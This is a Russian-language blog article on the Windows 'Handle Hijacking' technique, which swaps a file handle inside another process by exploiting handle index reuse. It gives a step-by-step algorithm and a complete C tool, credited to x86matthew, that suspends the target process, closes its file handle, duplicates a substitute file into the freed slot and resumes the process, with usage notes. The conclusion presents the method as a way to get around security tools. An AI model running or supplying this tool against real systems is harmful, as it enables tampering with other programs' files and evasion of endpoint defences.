В предыдущей статье мы рассказывали про атаку Leaked Handle. Сегодня поговорим про Handle Hijacking. Эта атака позволяет подменить один хендл другим и, например, перенаправить поток вывода в другой файл. Фактически мы можем манипулировать дескрипторами чужих процессов.
Еще по теме: Как убить процесс EDR
Взлом дескрипторов в Windows с помощью Handle Hijacking
Атака основана на том, что Windows повторно использует индексы дескрипторов. Когда дескриптор закрывается, следующий дескриптор, созданный в этом процессе, будет повторно использовать индекс предыдущего дескриптора. Например, закрыли дескриптор с индексом 10, а затем сразу же создали новый. Индекс нового тоже будет равен 10.
Если рассматривать не пассивную эксплуатацию с перенаправлением вывода, то можно перенаправить поток ввода. Например, подменить один файл настроек другим.
Общий алгоритм работы следующий:
- Получаем новый хендл, создав новый файл через CreateFile(). Этим файлом и будем подменять.
- Приостанавливаем целевой процесс через NtSuspendProcess().
- Пробегаемся по всем хендлам в целевом процессе с помощью NtQuerySystemInformation().
- Игнорируем все хендлы, которые не являются хендлами на файлы (поскольку мы подменяем файлы). Для проверки сравниваем значения ObjectTypeIndex.
- Находим дескриптор целевого файла в удаленном процессе, используя NtQueryInformationFile() со значением FileNameInformation(), чтобы получить путь к файлу.
- Полученный хендл копируем и закрываем, используя DuplicateHandle() с флагом DUPLICATE_CLOSE_SOURCE.
- Копируем хендл обратно в атакуемый процесс с помощью DuplicateHandle(), что позволяет занять пустой индекс.
- Восстанавливаем работу программы с помощью NtResumeProcess() и получаем успешную подмену файла.
Ниже — реализация, взятая с прекрасного сайта x86matthew.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 |
#include <stdio.h> #include <windows.h> #define SystemExtendedHandleInformation 64 #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 #define FileNameInformation 9 #define PROCESS_SUSPEND_RESUME 0x800 struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { ULONG Object; ULONG UniqueProcessId; ULONG HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; }; struct SYSTEM_HANDLE_INFORMATION_EX { ULONG NumberOfHandles; ULONG Reserved; SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleList[1]; }; struct FILE_NAME_INFORMATION { ULONG FileNameLength; WCHAR FileName[1]; }; struct IO_STATUS_BLOCK { union { DWORD Status; PVOID Pointer; }; DWORD *Information; }; struct GetFileHandlePathThreadParamStruct { HANDLE hFile; char szPath[512]; }; DWORD (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); DWORD (WINAPI *NtQueryInformationFile)(HANDLE FileHandle, void *IoStatusBlock, PVOID FileInformation, ULONG Length, DWORD FileInformationClass); DWORD (WINAPI *NtSuspendProcess)(HANDLE Process); DWORD (WINAPI *NtResumeProcess)(HANDLE Process); SYSTEM_HANDLE_INFORMATION_EX *pGlobal_SystemHandleInfo = NULL; DWORD dwGlobal_DebugObjectType = 0; DWORD GetSystemHandleList() { DWORD dwAllocSize = 0; DWORD dwStatus = 0; DWORD dwLength = 0; BYTE *pSystemHandleInfoBuffer = NULL; // free previous handle info list (if one exists) if(pGlobal_SystemHandleInfo != NULL) { free(pGlobal_SystemHandleInfo); } // get system handle list dwAllocSize = 0; for(;;) { if(pSystemHandleInfoBuffer != NULL) { // free previous inadequately sized buffer free(pSystemHandleInfoBuffer); pSystemHandleInfoBuffer = NULL; } if(dwAllocSize != 0) { // allocate new buffer pSystemHandleInfoBuffer = (BYTE*)malloc(dwAllocSize); if(pSystemHandleInfoBuffer == NULL) { return 1; } } // get system handle list dwStatus = NtQuerySystemInformation(SystemExtendedHandleInformation, (void*)pSystemHandleInfoBuffer, dwAllocSize, &dwLength); if(dwStatus == 0) { // success break; } else if(dwStatus == STATUS_INFO_LENGTH_MISMATCH) { // not enough space — allocate a larger buffer and try again (also add an extra 1kb to allow for additional handles created between checks) dwAllocSize = (dwLength + 1024); } else { // other error free(pSystemHandleInfoBuffer); return 1; } } // store handle info ptr pGlobal_SystemHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX*)pSystemHandleInfoBuffer; return 0; } DWORD GetFileHandleObjectType(DWORD *pdwFileHandleObjectType) { HANDLE hFile = NULL; char szPath[512]; DWORD dwFound = 0; DWORD dwFileHandleObjectType = 0; // get the file path of the current exe memset(szPath, 0, sizeof(szPath)); if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0) { return 1; } // open the current exe hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if(hFile == INVALID_HANDLE_VALUE) { return 1; } // take a snapshot of the system handle list if(GetSystemHandleList() != 0) { return 1; } // close the temporary file handle CloseHandle(hFile); // find the temporary file handle in the previous snapshot for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++) { // check if the process ID is correct if(pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId == GetCurrentProcessId()) { // check if the handle index is correct if(pGlobal_SystemHandleInfo->HandleList[i].HandleValue == (DWORD)hFile) { // store the file handle object type index dwFileHandleObjectType = pGlobal_SystemHandleInfo->HandleList[i].ObjectTypeIndex; dwFound = 1; break; } } } // ensure the file handle object type was found if(dwFound == 0) { return 1; } // store object type *pdwFileHandleObjectType = dwFileHandleObjectType; return 0; } DWORD WINAPI GetFileHandlePathThread(LPVOID lpArg) { BYTE bFileInfoBuffer[2048]; IO_STATUS_BLOCK IoStatusBlock; GetFileHandlePathThreadParamStruct *pGetFileHandlePathThreadParam = NULL; FILE_NAME_INFORMATION *pFileNameInfo = NULL; // get param pGetFileHandlePathThreadParam = (GetFileHandlePathThreadParamStruct*)lpArg; // get file path from handle memset((void*)&IoStatusBlock, 0, sizeof(IoStatusBlock)); memset(bFileInfoBuffer, 0, sizeof(bFileInfoBuffer)); if(NtQueryInformationFile(pGetFileHandlePathThreadParam->hFile, &IoStatusBlock, bFileInfoBuffer, sizeof(bFileInfoBuffer), FileNameInformation) != 0) { return 1; } // get FILE_NAME_INFORMATION ptr pFileNameInfo = (FILE_NAME_INFORMATION*)bFileInfoBuffer; // validate filename length if(pFileNameInfo->FileNameLength >= sizeof(pGetFileHandlePathThreadParam->szPath)) { return 1; } // convert file path to ansi string wcstombs(pGetFileHandlePathThreadParam->szPath, pFileNameInfo->FileName, sizeof(pGetFileHandlePathThreadParam->szPath) - 1); return 0; } DWORD ReplaceFileHandle(HANDLE hTargetProcess, HANDLE hExistingRemoteHandle, HANDLE hReplaceLocalHandle) { HANDLE hClonedFileHandle = NULL; HANDLE hRemoteReplacedHandle = NULL; // close remote file handle if(DuplicateHandle(hTargetProcess, hExistingRemoteHandle, GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS) == 0) { return 1; } // close cloned file handle CloseHandle(hClonedFileHandle); // duplicate local file handle into remote process if(DuplicateHandle(GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess, &hRemoteReplacedHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0) { return 1; } // ensure that the new remote handle matches the original value if(hRemoteReplacedHandle != hExistingRemoteHandle) { return 1; } return 0; } DWORD HijackFileHandle(DWORD dwTargetPID, char *pTargetFileName, HANDLE hReplaceLocalHandle) { HANDLE hProcess = NULL; HANDLE hClonedFileHandle = NULL; DWORD dwFileHandleObjectType = 0; DWORD dwThreadExitCode = 0; DWORD dwThreadID = 0; HANDLE hThread = NULL; GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam; char *pLastSlash = NULL; DWORD dwHijackCount = 0; // calculate the object type index for file handles on this system if(GetFileHandleObjectType(&dwFileHandleObjectType) != 0) { return 1; } printf("Opening process: %u...\n", dwTargetPID); // open target process hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, 0, dwTargetPID); if(hProcess == NULL) { return 1; } // suspend target process if(NtSuspendProcess(hProcess) != 0) { CloseHandle(hProcess); return 1; } // get system handle list if(GetSystemHandleList() != 0) { NtResumeProcess(hProcess); CloseHandle(hProcess); return 1; } for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++) { // ensure this handle is a file handle object if(pGlobal_SystemHandleInfo->HandleList[i].ObjectTypeIndex != dwFileHandleObjectType) { continue; } // ensure this handle is in the target process if(pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId != dwTargetPID) { continue; } // clone file handle if(DuplicateHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->HandleList[i].HandleValue, GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0) { continue; } // get the file path of the current handle — do this in a new thread to prevent deadlocks memset((void*)&GetFileHandlePathThreadParam, 0, sizeof(GetFileHandlePathThreadParam)); GetFileHandlePathThreadParam.hFile = hClonedFileHandle; hThread = CreateThread(NULL, 0, GetFileHandlePathThread, (void*)&GetFileHandlePathThreadParam, 0, &dwThreadID); if(hThread == NULL) { CloseHandle(hClonedFileHandle); continue; } // wait for thread to finish (1 second time out) if(WaitForSingleObject(hThread, 1000) != WAIT_OBJECT_0) { // time out — kill thread TerminateThread(hThread, 1); CloseHandle(hThread); CloseHandle(hClonedFileHandle); continue; } // close cloned file handle CloseHandle(hClonedFileHandle); // check exit code of temporary thread GetExitCodeThread(hThread, &dwThreadExitCode); if(dwThreadExitCode != 0) { // failed CloseHandle(hThread); continue; } // close thread handle CloseHandle(hThread); // get last slash in path pLastSlash = strrchr(GetFileHandlePathThreadParam.szPath, '\'); if(pLastSlash == NULL) { continue; } // check if this is the target filename pLastSlash++; if(stricmp(pLastSlash, pTargetFileName) != 0) { continue; } // found matching filename printf("Found remote file handle: "%s" (Handle ID: 0x%X)\n", GetFileHandlePathThreadParam.szPath, pGlobal_SystemHandleInfo->HandleList[i].HandleValue); dwHijackCount++; // replace the remote file handle if(ReplaceFileHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->HandleList[i].HandleValue, hReplaceLocalHandle) == 0) { // handle replaced successfully printf("Remote file handle hijacked successfully\n\n"); } else { // failed to hijack handle printf("Failed to hijack remote file handle\n\n"); } } // resume process if(NtResumeProcess(hProcess) != 0) { CloseHandle(hProcess); return 1; } // clean up CloseHandle(hProcess); // ensure at least one matching file handle was found if(dwHijackCount == 0) { printf("No matching file handles found\n"); return 1; } return 0; } DWORD GetNtdllFunctions() { // get NtQueryInformationFile ptr NtQueryInformationFile = (unsigned long (__stdcall *)(void *,void *,void *,unsigned long,unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationFile"); if(NtQueryInformationFile == NULL) { return 1; } // get NtQuerySystemInformation ptr NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if(NtQuerySystemInformation == NULL) { return 1; } // get NtSuspendProcess ptr NtSuspendProcess = (unsigned long (__stdcall *)(void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSuspendProcess"); if(NtSuspendProcess == NULL) { return 1; } // get NtResumeProcess ptr NtResumeProcess = (unsigned long (__stdcall *)(void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtResumeProcess"); if(NtResumeProcess == NULL) { return 1; } return 0; } int main(int argc, char *argv[]) { DWORD dwPID = 0; char *pTargetFileName = NULL; char *pNewFilePath = NULL; HANDLE hFile = NULL; printf("HijackFileHandle - www.x86matthew.com\n\n"); if(argc != 4) { printf("%s <target_pid> <target_file_name> <new_file_path>\n\n", argv[0]); return 1; } // get params dwPID = atoi(argv[1]); pTargetFileName = argv[2]; pNewFilePath = argv[3]; // get ntdll function ptrs if(GetNtdllFunctions() != 0) { return 1; } // create new output file hFile = CreateFile(pNewFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL); if(hFile == INVALID_HANDLE_VALUE) { printf("Failed to create file\n"); return 1; } // hijack file handle in target process if(HijackFileHandle(dwPID, pTargetFileName, hFile) != 0) { printf("Error\n"); // error — delete output file CloseHandle(hFile); DeleteFile(pNewFilePath); return 1; } // close local file handle CloseHandle(hFile); printf("Finished\n"); return 0; } |
В данном случае инструмент требует несколько аргументов командной строки.
1 |
HijackFileHandle.exe |
Здесь указывается PID атакуемого процесса и имена файлов. Первым идет файл, который нужно подменить, а вторым — на что подменять.
Заключение
Бывает круто взглянуть на привычные вещи под другим углом! Иногда получение хендлов необычным образом помогает обходить средства защиты.
ПОЛЕЗНЫЕ ССЫЛКИ: